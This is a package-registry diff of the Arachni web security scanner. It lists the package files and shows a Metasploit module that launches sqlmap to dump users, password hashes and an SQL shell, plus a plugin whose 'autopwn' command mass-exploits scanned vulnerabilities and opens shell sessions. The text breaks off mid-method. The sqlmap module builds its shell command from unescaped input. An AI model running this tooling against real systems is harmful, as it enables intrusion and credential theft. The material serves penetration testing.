arachni 0.2.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- data/ACKNOWLEDGMENTS.md +14 -0
- data/AUTHORS.md +6 -0
- data/CHANGELOG.md +162 -0
- data/CONTRIBUTORS.md +10 -0
- data/EXPLOITATION.md +429 -0
- data/HACKING.md +101 -0
- data/LICENSE.md +341 -0
- data/README.md +350 -0
- data/Rakefile +86 -0
- data/bin/arachni +22 -0
- data/bin/arachni_web +77 -0
- data/bin/arachni_xmlrpc +21 -0
- data/bin/arachni_xmlrpcd +82 -0
- data/bin/arachni_xmlrpcd_monitor +74 -0
- data/conf/README.webui.yaml.txt +44 -0
- data/conf/webui.yaml +11 -0
- data/external/metasploit/LICENSE +24 -0
- data/external/metasploit/modules/exploits/unix/webapp/arachni_exec.rb +142 -0
- data/external/metasploit/modules/exploits/unix/webapp/arachni_path_traversal.rb +113 -0
- data/external/metasploit/modules/exploits/unix/webapp/arachni_php_eval.rb +150 -0
- data/external/metasploit/modules/exploits/unix/webapp/arachni_php_include.rb +141 -0
- data/external/metasploit/modules/exploits/unix/webapp/arachni_sqlmap.rb +92 -0
- data/external/metasploit/plugins/arachni.rb +536 -0
- data/getoptslong.rb +241 -0
- data/lib/anemone.rb +2 -0
- data/lib/anemone/cookie_store.rb +35 -0
- data/lib/anemone/core.rb +371 -0
- data/lib/anemone/exceptions.rb +5 -0
- data/lib/anemone/http.rb +144 -0
- data/lib/anemone/page.rb +337 -0
- data/lib/anemone/page_store.rb +160 -0
- data/lib/anemone/storage.rb +34 -0
- data/lib/anemone/storage/base.rb +75 -0
- data/lib/anemone/storage/exceptions.rb +15 -0
- data/lib/anemone/storage/mongodb.rb +89 -0
- data/lib/anemone/storage/pstore.rb +50 -0
- data/lib/anemone/storage/redis.rb +90 -0
- data/lib/anemone/storage/tokyo_cabinet.rb +57 -0
- data/lib/anemone/tentacle.rb +40 -0
- data/lib/arachni.rb +16 -0
- data/lib/audit_store.rb +346 -0
- data/lib/component_manager.rb +293 -0
- data/lib/component_options.rb +395 -0
- data/lib/exceptions.rb +76 -0
- data/lib/framework.rb +637 -0
- data/lib/http.rb +809 -0
- data/lib/issue.rb +302 -0
- data/lib/module.rb +4 -0
- data/lib/module/auditor.rb +455 -0
- data/lib/module/base.rb +188 -0
- data/lib/module/element_db.rb +158 -0
- data/lib/module/key_filler.rb +87 -0
- data/lib/module/manager.rb +87 -0
- data/lib/module/output.rb +68 -0
- data/lib/module/trainer.rb +240 -0
- data/lib/module/utilities.rb +110 -0
- data/lib/options.rb +547 -0
- data/lib/parser.rb +2 -0
- data/lib/parser/auditable.rb +522 -0
- data/lib/parser/elements.rb +296 -0
- data/lib/parser/page.rb +149 -0
- data/lib/parser/parser.rb +717 -0
- data/lib/plugin.rb +4 -0
- data/lib/plugin/base.rb +110 -0
- data/lib/plugin/manager.rb +162 -0
- data/lib/report.rb +4 -0
- data/lib/report/base.rb +119 -0
- data/lib/report/manager.rb +92 -0
- data/lib/rpc/xml/client/base.rb +71 -0
- data/lib/rpc/xml/client/dispatcher.rb +49 -0
- data/lib/rpc/xml/client/instance.rb +88 -0
- data/lib/rpc/xml/server/base.rb +90 -0
- data/lib/rpc/xml/server/dispatcher.rb +357 -0
- data/lib/rpc/xml/server/framework.rb +206 -0
- data/lib/rpc/xml/server/instance.rb +191 -0
- data/lib/rpc/xml/server/module/manager.rb +46 -0
- data/lib/rpc/xml/server/options.rb +124 -0
- data/lib/rpc/xml/server/output.rb +299 -0
- data/lib/rpc/xml/server/plugin/manager.rb +58 -0
- data/lib/ruby.rb +5 -0
- data/lib/ruby/object.rb +32 -0
- data/lib/ruby/string.rb +74 -0
- data/lib/ruby/xmlrpc/server.rb +27 -0
- data/lib/spider.rb +200 -0
- data/lib/typhoeus/request.rb +91 -0
- data/lib/typhoeus/response.rb +34 -0
- data/lib/ui/cli/cli.rb +744 -0
- data/lib/ui/cli/output.rb +279 -0
- data/lib/ui/web/log.rb +82 -0
- data/lib/ui/web/output_stream.rb +94 -0
- data/lib/ui/web/report_manager.rb +222 -0
- data/lib/ui/web/server.rb +903 -0
- data/lib/ui/web/server/db/placeholder +0 -0
- data/lib/ui/web/server/public/banner.png +0 -0
- data/lib/ui/web/server/public/bodybg-small.png +0 -0
- data/lib/ui/web/server/public/bodybg.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/pbar-ani.gif +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/ui-bg_flat_0_aaaaaa_40x100.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/ui-bg_flat_75_ffffff_40x100.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_55_fbf9ee_1x400.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_65_ffffff_1x400.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_75_dadada_1x400.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_75_e6e6e6_1x400.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_95_fef1ec_1x400.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/ui-bg_highlight-soft_75_cccccc_1x100.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/ui-icons_222222_256x240.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/ui-icons_2e83ff_256x240.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/ui-icons_454545_256x240.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/ui-icons_888888_256x240.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/ui-icons_cd0a0a_256x240.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/jquery-ui-1.8.9.custom.css +573 -0
- data/lib/ui/web/server/public/favicon.ico +0 -0
- data/lib/ui/web/server/public/footer.jpg +0 -0
- data/lib/ui/web/server/public/icons/error.png +0 -0
- data/lib/ui/web/server/public/icons/info.png +0 -0
- data/lib/ui/web/server/public/icons/ok.png +0 -0
- data/lib/ui/web/server/public/icons/status.png +0 -0
- data/lib/ui/web/server/public/js/jquery-1.4.4.min.js +167 -0
- data/lib/ui/web/server/public/js/jquery-ui-1.8.9.custom.min.js +781 -0
- data/lib/ui/web/server/public/logo.png +0 -0
- data/lib/ui/web/server/public/nav-left.jpg +0 -0
- data/lib/ui/web/server/public/nav-right.jpg +0 -0
- data/lib/ui/web/server/public/nav-selected-left.jpg +0 -0
- data/lib/ui/web/server/public/nav-selected-right.jpg +0 -0
- data/lib/ui/web/server/public/reports/placeholder +1 -0
- data/lib/ui/web/server/public/sidebar-bottom.jpg +0 -0
- data/lib/ui/web/server/public/sidebar-h4.jpg +0 -0
- data/lib/ui/web/server/public/sidebar-top.jpg +0 -0
- data/lib/ui/web/server/public/spider.png +0 -0
- data/lib/ui/web/server/public/style.css +604 -0
- data/lib/ui/web/server/tmp/placeholder +0 -0
- data/lib/ui/web/server/views/dispatcher.erb +85 -0
- data/lib/ui/web/server/views/dispatcher_error.erb +14 -0
- data/lib/ui/web/server/views/error.erb +1 -0
- data/lib/ui/web/server/views/flash.erb +18 -0
- data/lib/ui/web/server/views/home.erb +14 -0
- data/lib/ui/web/server/views/instance.erb +213 -0
- data/lib/ui/web/server/views/layout.erb +95 -0
- data/lib/ui/web/server/views/log.erb +40 -0
- data/lib/ui/web/server/views/modules.erb +71 -0
- data/lib/ui/web/server/views/options.erb +23 -0
- data/lib/ui/web/server/views/output_results.erb +51 -0
- data/lib/ui/web/server/views/plugins.erb +42 -0
- data/lib/ui/web/server/views/report_formats.erb +30 -0
- data/lib/ui/web/server/views/reports.erb +55 -0
- data/lib/ui/web/server/views/settings.erb +120 -0
- data/lib/ui/web/server/views/welcome.erb +38 -0
- data/lib/ui/xmlrpc/dispatcher_monitor.rb +204 -0
- data/lib/ui/xmlrpc/xmlrpc.rb +843 -0
- data/logs/placeholder +0 -0
- data/metamodules/autothrottle.rb +74 -0
- data/metamodules/timeout_notice.rb +118 -0
- data/metamodules/uniformity.rb +98 -0
- data/modules/audit/code_injection.rb +136 -0
- data/modules/audit/code_injection_timing.rb +115 -0
- data/modules/audit/code_injection_timing/payloads.txt +4 -0
- data/modules/audit/csrf.rb +301 -0
- data/modules/audit/ldapi.rb +103 -0
- data/modules/audit/ldapi/errors.txt +26 -0
- data/modules/audit/os_cmd_injection.rb +103 -0
- data/modules/audit/os_cmd_injection/payloads.txt +2 -0
- data/modules/audit/os_cmd_injection_timing.rb +104 -0
- data/modules/audit/os_cmd_injection_timing/payloads.txt +3 -0
- data/modules/audit/path_traversal.rb +141 -0
- data/modules/audit/response_splitting.rb +105 -0
- data/modules/audit/rfi.rb +193 -0
- data/modules/audit/sqli.rb +120 -0
- data/modules/audit/sqli/regexp_ids.txt +90 -0
- data/modules/audit/sqli_blind_rdiff.rb +321 -0
- data/modules/audit/sqli_blind_timing.rb +103 -0
- data/modules/audit/sqli_blind_timing/payloads.txt +51 -0
- data/modules/audit/trainer.rb +89 -0
- data/modules/audit/unvalidated_redirect.rb +90 -0
- data/modules/audit/xpath.rb +104 -0
- data/modules/audit/xpath/errors.txt +26 -0
- data/modules/audit/xss.rb +99 -0
- data/modules/audit/xss_event.rb +134 -0
- data/modules/audit/xss_path.rb +125 -0
- data/modules/audit/xss_script_tag.rb +112 -0
- data/modules/audit/xss_tag.rb +112 -0
- data/modules/audit/xss_uri.rb +125 -0
- data/modules/recon/allowed_methods.rb +104 -0
- data/modules/recon/backdoors.rb +131 -0
- data/modules/recon/backdoors/filenames.txt +16 -0
- data/modules/recon/backup_files.rb +177 -0
- data/modules/recon/backup_files/extensions.txt +28 -0
- data/modules/recon/common_directories.rb +138 -0
- data/modules/recon/common_directories/directories.txt +265 -0
- data/modules/recon/common_files.rb +138 -0
- data/modules/recon/common_files/filenames.txt +17 -0
- data/modules/recon/directory_listing.rb +171 -0
- data/modules/recon/grep/captcha.rb +62 -0
- data/modules/recon/grep/credit_card.rb +85 -0
- data/modules/recon/grep/cvs_svn_users.rb +73 -0
- data/modules/recon/grep/emails.rb +59 -0
- data/modules/recon/grep/html_objects.rb +53 -0
- data/modules/recon/grep/private_ip.rb +54 -0
- data/modules/recon/grep/ssn.rb +53 -0
- data/modules/recon/htaccess_limit.rb +82 -0
- data/modules/recon/http_put.rb +95 -0
- data/modules/recon/interesting_responses.rb +118 -0
- data/modules/recon/unencrypted_password_forms.rb +119 -0
- data/modules/recon/webdav.rb +126 -0
- data/modules/recon/xst.rb +107 -0
- data/path_extractors/anchors.rb +35 -0
- data/path_extractors/forms.rb +35 -0
- data/path_extractors/frames.rb +38 -0
- data/path_extractors/generic.rb +39 -0
- data/path_extractors/links.rb +35 -0
- data/path_extractors/meta_refresh.rb +39 -0
- data/path_extractors/scripts.rb +37 -0
- data/path_extractors/sitemap.rb +31 -0
- data/plugins/autologin.rb +137 -0
- data/plugins/content_types.rb +90 -0
- data/plugins/cookie_collector.rb +99 -0
- data/plugins/form_dicattack.rb +185 -0
- data/plugins/healthmap.rb +94 -0
- data/plugins/http_dicattack.rb +133 -0
- data/plugins/metamodules.rb +118 -0
- data/plugins/proxy.rb +248 -0
- data/plugins/proxy/server.rb +66 -0
- data/plugins/waf_detector.rb +184 -0
- data/profiles/comprehensive.afp +74 -0
- data/profiles/full.afp +75 -0
- data/reports/afr.rb +59 -0
- data/reports/ap.rb +55 -0
- data/reports/html.rb +179 -0
- data/reports/html/default.erb +967 -0
- data/reports/metareport.rb +139 -0
- data/reports/metareport/arachni_metareport.rb +174 -0
- data/reports/plugin_formatters/html/content_types.rb +82 -0
- data/reports/plugin_formatters/html/cookie_collector.rb +66 -0
- data/reports/plugin_formatters/html/form_dicattack.rb +54 -0
- data/reports/plugin_formatters/html/healthmap.rb +76 -0
- data/reports/plugin_formatters/html/http_dicattack.rb +54 -0
- data/reports/plugin_formatters/html/metaformatters/timeout_notice.rb +65 -0
- data/reports/plugin_formatters/html/metaformatters/uniformity.rb +71 -0
- data/reports/plugin_formatters/html/metamodules.rb +93 -0
- data/reports/plugin_formatters/html/waf_detector.rb +54 -0
- data/reports/plugin_formatters/stdout/content_types.rb +73 -0
- data/reports/plugin_formatters/stdout/cookie_collector.rb +61 -0
- data/reports/plugin_formatters/stdout/form_dicattack.rb +52 -0
- data/reports/plugin_formatters/stdout/healthmap.rb +72 -0
- data/reports/plugin_formatters/stdout/http_dicattack.rb +53 -0
- data/reports/plugin_formatters/stdout/metaformatters/timeout_notice.rb +55 -0
- data/reports/plugin_formatters/stdout/metaformatters/uniformity.rb +68 -0
- data/reports/plugin_formatters/stdout/metamodules.rb +89 -0
- data/reports/plugin_formatters/stdout/waf_detector.rb +48 -0
- data/reports/plugin_formatters/xml/content_types.rb +91 -0
- data/reports/plugin_formatters/xml/cookie_collector.rb +70 -0
- data/reports/plugin_formatters/xml/form_dicattack.rb +57 -0
- data/reports/plugin_formatters/xml/healthmap.rb +82 -0
- data/reports/plugin_formatters/xml/http_dicattack.rb +57 -0
- data/reports/plugin_formatters/xml/metaformatters/timeout_notice.rb +67 -0
- data/reports/plugin_formatters/xml/metaformatters/uniformity.rb +82 -0
- data/reports/plugin_formatters/xml/metamodules.rb +91 -0
- data/reports/plugin_formatters/xml/waf_detector.rb +58 -0
- data/reports/stdout.rb +182 -0
- data/reports/txt.rb +77 -0
- data/reports/xml.rb +231 -0
- data/reports/xml/buffer.rb +98 -0
- metadata +516 -0
|
@@ -0,0 +1,92 @@
|
|
|
1
|
+
require 'msf/core'
|
|
2
|
+
|
|
3
|
+
class Metasploit3 < Msf::Auxiliary
|
|
4
|
+
|
|
5
|
+
include Msf::Exploit::Remote::HttpClient
|
|
6
|
+
|
|
7
|
+
def initialize(info = {})
|
|
8
|
+
super(update_info(info,
|
|
9
|
+
'Name' => 'Arachni SQLMAP SQL Injection External Module',
|
|
10
|
+
'Description' => %q{
|
|
11
|
+
|
|
12
|
+
This module is designed to be used with the Arachni plug-in.
|
|
13
|
+
|
|
14
|
+
From the original:
|
|
15
|
+
|
|
16
|
+
This module launches an sqlmap session.
|
|
17
|
+
sqlmap is an automatic SQL injection tool developed in Python.
|
|
18
|
+
Its goal is to detect and take advantage of SQL injection
|
|
19
|
+
vulnerabilities on web applications. Once it detects one
|
|
20
|
+
or more SQL injections on the target host, the user can
|
|
21
|
+
choose among a variety of options to perform an extensive
|
|
22
|
+
back-end database management system fingerprint, retrieve
|
|
23
|
+
DBMS session user and database, enumerate users, password
|
|
24
|
+
hashes, privileges, databases, dump entire or user
|
|
25
|
+
specific DBMS tables/columns, run his own SQL SELECT
|
|
26
|
+
statement, read specific files on the file system and much
|
|
27
|
+
more.
|
|
28
|
+
},
|
|
29
|
+
'Author' => [
|
|
30
|
+
'Tasos "Zapotek" Laskos <tasos.laskos@gmail.com>', # modified to work with the Arachni plug-in
|
|
31
|
+
'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>' # original module: auxiliary/scanner/http/sqlmap.rb
|
|
32
|
+
],
|
|
33
|
+
'License' => BSD_LICENSE,
|
|
34
|
+
'Version' => '$Revision: 9212 $',
|
|
35
|
+
'References' =>
|
|
36
|
+
[
|
|
37
|
+
['URL', 'http://github.com/Zapotek/arachni'],
|
|
38
|
+
['URL', 'http://sqlmap.sourceforge.net'],
|
|
39
|
+
]
|
|
40
|
+
))
|
|
41
|
+
|
|
42
|
+
register_options(
|
|
43
|
+
[
|
|
44
|
+
OptString.new('METHOD', [ true, "HTTP Method", 'GET' ]),
|
|
45
|
+
OptString.new('PATH', [ true, "The path to test for SQL injection", 'index.php' ]),
|
|
46
|
+
OptString.new('GET', [ false, "HTTP GET query", 'id=1' ]),
|
|
47
|
+
OptString.new('POST', [ false, "The data string to be sent through POST", '' ]),
|
|
48
|
+
OptString.new('COOKIES', [ false, "", '' ]),
|
|
49
|
+
OptString.new('OPTS', [ false, "The sqlmap options to use", '--users --time-test --passwords --dbs --sql-shell -v 0' ]),
|
|
50
|
+
OptPath.new('SQLMAP_PATH', [ true, "The sqlmap >= 0.8 full path ", 'sqlmap' ]),
|
|
51
|
+
], self.class)
|
|
52
|
+
end
|
|
53
|
+
|
|
54
|
+
def run
|
|
55
|
+
|
|
56
|
+
sqlmap = datastore['SQLMAP_PATH']
|
|
57
|
+
|
|
58
|
+
if not sqlmap
|
|
59
|
+
print_error("The sqlmap script could not be found")
|
|
60
|
+
return
|
|
61
|
+
end
|
|
62
|
+
|
|
63
|
+
data = datastore['POST'].gsub( 'XXinjectionXX', '' )
|
|
64
|
+
method = datastore['METHOD'].upcase
|
|
65
|
+
|
|
66
|
+
sqlmap_url = (datastore['SSL'] ? "https" : "http")
|
|
67
|
+
sqlmap_url += "://" + datastore['RHOST'] + ":" + datastore['RPORT']
|
|
68
|
+
sqlmap_url += "/" + datastore['PATH']
|
|
69
|
+
|
|
70
|
+
if method == "GET"
|
|
71
|
+
sqlmap_url += '?' + datastore['GET'].gsub( 'XXinjectionXX', '' )
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
cmd = sqlmap + ' -u \'' + sqlmap_url + '\''
|
|
75
|
+
cmd += ' --method ' + method
|
|
76
|
+
cmd += ' ' + datastore['OPTS']
|
|
77
|
+
cmd += ' --cookie \'' + datastore['COOKIES'].to_s + '\'' if datastore['COOKIES']
|
|
78
|
+
|
|
79
|
+
if not data.empty?
|
|
80
|
+
cmd += ' --data \'' + data + '\''
|
|
81
|
+
end
|
|
82
|
+
|
|
83
|
+
if datastore['BATCH'] == true
|
|
84
|
+
cmd += ' --batch'
|
|
85
|
+
end
|
|
86
|
+
|
|
87
|
+
print_status("exec: #{cmd}")
|
|
88
|
+
system( cmd )
|
|
89
|
+
end
|
|
90
|
+
|
|
91
|
+
end
|
|
92
|
+
|
|
@@ -0,0 +1,536 @@
|
|
|
1
|
+
#
|
|
2
|
+
# $Id$
|
|
3
|
+
# $Revision$
|
|
4
|
+
#
|
|
5
|
+
|
|
6
|
+
require 'pp'
|
|
7
|
+
|
|
8
|
+
module Msf
|
|
9
|
+
|
|
10
|
+
class Plugin::Arachni < Msf::Plugin
|
|
11
|
+
|
|
12
|
+
###
|
|
13
|
+
#
|
|
14
|
+
# This class implements an exploitation platform for web app vulnerabilities
|
|
15
|
+
# discovered by the Arachni WebApp Security Scaner Framework
|
|
16
|
+
# (http://github.com/Zapotek/arachni)
|
|
17
|
+
#
|
|
18
|
+
###
|
|
19
|
+
class ArachniCommandDispatcher
|
|
20
|
+
include Msf::Ui::Console::CommandDispatcher
|
|
21
|
+
|
|
22
|
+
#
|
|
23
|
+
# The dispatcher's name.
|
|
24
|
+
#
|
|
25
|
+
def name
|
|
26
|
+
"Arachni"
|
|
27
|
+
end
|
|
28
|
+
|
|
29
|
+
#
|
|
30
|
+
# Returns the hash of commands supported by this dispatcher.
|
|
31
|
+
#
|
|
32
|
+
def commands
|
|
33
|
+
{
|
|
34
|
+
"arachni_load" => "Loads an ArachniMetareport file (.afr.msf).",
|
|
35
|
+
"arachni_autopwn" => "Tries to exploit all vulnerabilities.",
|
|
36
|
+
"arachni_list_exploits" => "Lists all matching exploit modules.",
|
|
37
|
+
"arachni_list_vulns" => "Lists all vulnerabilities.",
|
|
38
|
+
"arachni_list_all" => "Same as running 'arachni_list_exploits' & 'arachni_list_vulns'.",
|
|
39
|
+
"arachni_killall" => "Kills all running/pending pwn-jobs.",
|
|
40
|
+
"arachni_manual" => "Prepares a vulnerability for manual exploitation.",
|
|
41
|
+
}
|
|
42
|
+
end
|
|
43
|
+
|
|
44
|
+
#
|
|
45
|
+
# This method loads a metareport file and lists all
|
|
46
|
+
# exploitable vulnerabilities and suitable exploits.
|
|
47
|
+
#
|
|
48
|
+
def cmd_arachni_load( *args )
|
|
49
|
+
|
|
50
|
+
metareport = args[0]
|
|
51
|
+
|
|
52
|
+
if !metareport
|
|
53
|
+
print_error( "Usage: arachni_load [metareport]" )
|
|
54
|
+
return
|
|
55
|
+
end
|
|
56
|
+
|
|
57
|
+
if !File.exist?( metareport )
|
|
58
|
+
print_error( "File '#{metareport}' doesn't exist." )
|
|
59
|
+
return
|
|
60
|
+
end
|
|
61
|
+
|
|
62
|
+
print_status( "Loading report..." )
|
|
63
|
+
|
|
64
|
+
@vulns ||= []
|
|
65
|
+
@exploits ||= []
|
|
66
|
+
YAML.load( IO.read( metareport ) ).each do |vuln|
|
|
67
|
+
data = { }
|
|
68
|
+
|
|
69
|
+
vuln.ivars.keys.each do |k|
|
|
70
|
+
data[k.to_sym] = vuln.ivars[k]
|
|
71
|
+
end
|
|
72
|
+
|
|
73
|
+
begin
|
|
74
|
+
# the MSF doesn't much like hostnames, resolve to an IP address
|
|
75
|
+
# there's probably a beter way to do it...
|
|
76
|
+
host = Rex::Socket.gethostbyname( data[:host] ).pop
|
|
77
|
+
data[:host] = Rex::Socket.addr_ntoa( host )
|
|
78
|
+
|
|
79
|
+
@exploits << data[:exploit]
|
|
80
|
+
|
|
81
|
+
@vulns << data
|
|
82
|
+
rescue
|
|
83
|
+
next
|
|
84
|
+
end
|
|
85
|
+
|
|
86
|
+
end
|
|
87
|
+
|
|
88
|
+
@vulns.uniq!
|
|
89
|
+
|
|
90
|
+
print_status( "Loaded #{@vulns.size} vulnerabilities." )
|
|
91
|
+
|
|
92
|
+
print_line
|
|
93
|
+
cmd_arachni_list_exploits
|
|
94
|
+
cmd_arachni_list_vulns
|
|
95
|
+
print_line
|
|
96
|
+
|
|
97
|
+
print_status( 'Done!' )
|
|
98
|
+
end
|
|
99
|
+
|
|
100
|
+
#
|
|
101
|
+
# Exploits all vulnerabilities
|
|
102
|
+
#
|
|
103
|
+
def cmd_arachni_autopwn( *args )
|
|
104
|
+
|
|
105
|
+
opts = {
|
|
106
|
+
:meterpreter => false,
|
|
107
|
+
:reverse => false,
|
|
108
|
+
:bind => true,
|
|
109
|
+
:quiet => false,
|
|
110
|
+
:regexp => nil
|
|
111
|
+
}
|
|
112
|
+
|
|
113
|
+
args.push( "-h" ) if args.empty?
|
|
114
|
+
|
|
115
|
+
while( !args.empty? && flag = args.shift )
|
|
116
|
+
|
|
117
|
+
case flag
|
|
118
|
+
|
|
119
|
+
when '-h', '--help', '?'
|
|
120
|
+
help()
|
|
121
|
+
return
|
|
122
|
+
|
|
123
|
+
when '-r'
|
|
124
|
+
opts[:reverse] = true
|
|
125
|
+
|
|
126
|
+
when '-b'
|
|
127
|
+
opts[:bind] = true
|
|
128
|
+
|
|
129
|
+
when '-m'
|
|
130
|
+
opts[:meterpreter] = true
|
|
131
|
+
|
|
132
|
+
when '-q'
|
|
133
|
+
opts[:quiet] = true
|
|
134
|
+
|
|
135
|
+
when '-x'
|
|
136
|
+
opts[:regexp] = Regexp.new( args.shift.to_s )
|
|
137
|
+
|
|
138
|
+
when '-a'
|
|
139
|
+
opts[:regexp] = /.*/
|
|
140
|
+
|
|
141
|
+
else
|
|
142
|
+
print_error( 'Unknown option: ' + flag.to_s )
|
|
143
|
+
return
|
|
144
|
+
end
|
|
145
|
+
|
|
146
|
+
end
|
|
147
|
+
|
|
148
|
+
if running?
|
|
149
|
+
print_error( "#{@jobs.size} pwn-jobs haven't finished yet." )
|
|
150
|
+
print_error( 'To kill them run: \'arachni_killall\'' )
|
|
151
|
+
return
|
|
152
|
+
end
|
|
153
|
+
|
|
154
|
+
|
|
155
|
+
if !@vulns
|
|
156
|
+
print_error( 'You must first load a report using \'arachni_load\'.' )
|
|
157
|
+
return
|
|
158
|
+
end
|
|
159
|
+
|
|
160
|
+
if @vulns.empty?
|
|
161
|
+
print_error( 'No vulnerabilities to exploit.' )
|
|
162
|
+
end
|
|
163
|
+
|
|
164
|
+
print_status( 'Running pwn-jobs...' )
|
|
165
|
+
print_line
|
|
166
|
+
|
|
167
|
+
@jobs ||= []
|
|
168
|
+
@vulns.each do |vuln|
|
|
169
|
+
|
|
170
|
+
next if opts[:regexp] && !(vuln[:exploit] =~ opts[:regexp])
|
|
171
|
+
|
|
172
|
+
@jobs << Thread.new( vuln, opts ) do |vulnerability, opts|
|
|
173
|
+
exploit( vulnerability, opts )
|
|
174
|
+
end
|
|
175
|
+
end
|
|
176
|
+
|
|
177
|
+
# Wait on all the jobs we just spawned
|
|
178
|
+
while( !@jobs.empty? )
|
|
179
|
+
# All running jobs are stored in framework.jobs. If it's
|
|
180
|
+
# not in this list, it must have completed.
|
|
181
|
+
@jobs.delete_if { |j| !j.alive? }
|
|
182
|
+
|
|
183
|
+
print_status( "[#{framework.sessions.length} established sessions]):" +
|
|
184
|
+
" Waiting on #{@jobs.length} launched modules to finish execution..." )
|
|
185
|
+
::IO.select( nil, nil, nil, 5.0 )
|
|
186
|
+
end
|
|
187
|
+
|
|
188
|
+
print_line
|
|
189
|
+
print_status( "The autopwn command has completed with #{framework.sessions.length} sessions" )
|
|
190
|
+
if( framework.sessions.length > 0 )
|
|
191
|
+
print_status( "Enter sessions -i [ID] to interact with a given session ID" )
|
|
192
|
+
print_status( "" )
|
|
193
|
+
print_status( "=" * 80 )
|
|
194
|
+
driver.run_single( "sessions -l -v" )
|
|
195
|
+
print_status( "=" * 80 )
|
|
196
|
+
end
|
|
197
|
+
|
|
198
|
+
end
|
|
199
|
+
|
|
200
|
+
#
|
|
201
|
+
# Decides whether or not any pwn-jobs are running
|
|
202
|
+
#
|
|
203
|
+
def running?
|
|
204
|
+
return @jobs && !@jobs.empty?
|
|
205
|
+
end
|
|
206
|
+
|
|
207
|
+
#
|
|
208
|
+
# Kills all pwn-jobs
|
|
209
|
+
#
|
|
210
|
+
def cmd_arachni_killall
|
|
211
|
+
|
|
212
|
+
if !@jobs
|
|
213
|
+
print_error( "The pwn-job queue hasn't been initialised yet." )
|
|
214
|
+
return
|
|
215
|
+
end
|
|
216
|
+
|
|
217
|
+
if @jobs.empty?
|
|
218
|
+
print_info( "The pwn-job queue is empty." )
|
|
219
|
+
return
|
|
220
|
+
end
|
|
221
|
+
|
|
222
|
+
cnt = 0
|
|
223
|
+
@jobs.each do |j|
|
|
224
|
+
cnt +=1 if Thread.kill( j )
|
|
225
|
+
end
|
|
226
|
+
|
|
227
|
+
@jobs.clear
|
|
228
|
+
print_status( "Killed #{cnt} pwn-jobs." )
|
|
229
|
+
|
|
230
|
+
end
|
|
231
|
+
|
|
232
|
+
#
|
|
233
|
+
# Lists suitable exploits and vulnerabilities
|
|
234
|
+
#
|
|
235
|
+
def cmd_arachni_list_all
|
|
236
|
+
cmd_arachni_list_exploits
|
|
237
|
+
cmd_arachni_list_vulns
|
|
238
|
+
end
|
|
239
|
+
|
|
240
|
+
#
|
|
241
|
+
# Lists all vulnerabilities
|
|
242
|
+
#
|
|
243
|
+
def cmd_arachni_list_vulns
|
|
244
|
+
|
|
245
|
+
if !@vulns
|
|
246
|
+
print_error( 'You must first load a report using \'arachni_load\'.' )
|
|
247
|
+
return
|
|
248
|
+
end
|
|
249
|
+
|
|
250
|
+
if @vulns.empty?
|
|
251
|
+
print_error( 'No vulnerabilities to list.' )
|
|
252
|
+
end
|
|
253
|
+
|
|
254
|
+
@vulns.uniq!
|
|
255
|
+
|
|
256
|
+
vuln_table = Rex::Ui::Text::Table.new(
|
|
257
|
+
'Header' => "Vulnerabilities",
|
|
258
|
+
'Indent' => 4,
|
|
259
|
+
'Columns' => [
|
|
260
|
+
"ID",
|
|
261
|
+
"Host",
|
|
262
|
+
"Path",
|
|
263
|
+
"Name",
|
|
264
|
+
"Method",
|
|
265
|
+
"Params",
|
|
266
|
+
"Exploit"
|
|
267
|
+
]
|
|
268
|
+
)
|
|
269
|
+
|
|
270
|
+
indent = ""
|
|
271
|
+
@vulns.each_with_index do |vuln, idx|
|
|
272
|
+
|
|
273
|
+
vuln_table << [ idx + 1, vuln[:host], vuln[:path], vuln[:name],
|
|
274
|
+
vuln[:method], vuln[:params].to_s, vuln[:exploit] ]
|
|
275
|
+
|
|
276
|
+
end
|
|
277
|
+
|
|
278
|
+
print_line( "\n#{vuln_table.to_s}\n" )
|
|
279
|
+
|
|
280
|
+
end
|
|
281
|
+
|
|
282
|
+
#
|
|
283
|
+
# Prepares a vulnerability for manual exploitation by ID
|
|
284
|
+
#
|
|
285
|
+
def cmd_arachni_manual( *args )
|
|
286
|
+
idx = args[0]
|
|
287
|
+
|
|
288
|
+
if !idx
|
|
289
|
+
print_error( 'Usage: arachni_manual [ID]' )
|
|
290
|
+
print_line( 'Use \'arachni_vulns\' to see all available IDs.' )
|
|
291
|
+
return
|
|
292
|
+
end
|
|
293
|
+
idx = idx.to_i
|
|
294
|
+
idx -= 1
|
|
295
|
+
|
|
296
|
+
if !@vulns
|
|
297
|
+
print_error( 'You must first load a report using \'arachni_load\'.' )
|
|
298
|
+
return
|
|
299
|
+
end
|
|
300
|
+
|
|
301
|
+
if @vulns.empty?
|
|
302
|
+
print_error( 'No vulnerabilities to exploit.' )
|
|
303
|
+
end
|
|
304
|
+
|
|
305
|
+
vuln = @vulns[idx]
|
|
306
|
+
|
|
307
|
+
if !vuln
|
|
308
|
+
print_error( "Invalid index: #{idx}" )
|
|
309
|
+
cmd_arachni_list_vulns
|
|
310
|
+
return
|
|
311
|
+
end
|
|
312
|
+
|
|
313
|
+
|
|
314
|
+
print_status( "Using #{vuln[:exploit]} ." )
|
|
315
|
+
driver.run_single( "use #{vuln[:exploit]}" )
|
|
316
|
+
|
|
317
|
+
prep_datastore( vuln ).each do |k, v|
|
|
318
|
+
v = '' if !v
|
|
319
|
+
driver.run_single( "set #{k} #{v}" )
|
|
320
|
+
end
|
|
321
|
+
|
|
322
|
+
print_status( "Done!" )
|
|
323
|
+
|
|
324
|
+
begin
|
|
325
|
+
|
|
